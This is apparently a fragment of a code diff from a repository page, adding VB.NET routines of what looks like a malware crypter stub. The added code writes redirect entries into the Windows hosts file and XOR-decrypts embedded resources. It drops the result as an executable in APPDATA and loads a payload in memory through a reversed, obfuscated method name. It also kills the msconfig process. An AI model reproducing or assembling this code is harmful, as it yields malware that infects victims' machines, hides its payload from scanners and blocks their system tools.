Dim SW As New IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\drivers\etc\hosts", True)
|
||||
|
||||
SW.WriteLine(Environment.NewLine)
|
||||
|
||||
SW.WriteLine("127.0.0.1 " & Address)
|
||||
|
||||
SW.Flush()
|
||||
|
||||
SW.Close()
|
||||
|
||||
End Sub
|
||||
@@ -0,0 +1,14 @@
|
||||
Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM"))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
R.GetObject("I")))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
R.GetObject("F")))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
|
||||
@@ -0,0 +1,25 @@
|
||||
Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
|
||||
|
||||
Dim lonDataPtr As Long
|
||||
|
||||
Dim strDataOut As String = ""
|
||||
|
||||
Dim intXOrValue1 As Integer
|
||||
|
||||
Dim intXOrValue2 As Integer
|
||||
|
||||
Dim H As String = "&H"
|
||||
|
||||
For lonDataPtr = 1 To (Len(DataIn) / 2)
|
||||
|
||||
intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
|
||||
|
||||
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
|
||||
|
||||
strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
|
||||
|
||||
Next lonDataPtr
|
||||
|
||||
xEncryptionD = strDataOut
|
||||
|
||||
End Function
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F61()
|
||||
Killer("msconfig")
|
||||
End Sub
|
||||
Reference in New Issue
Block a user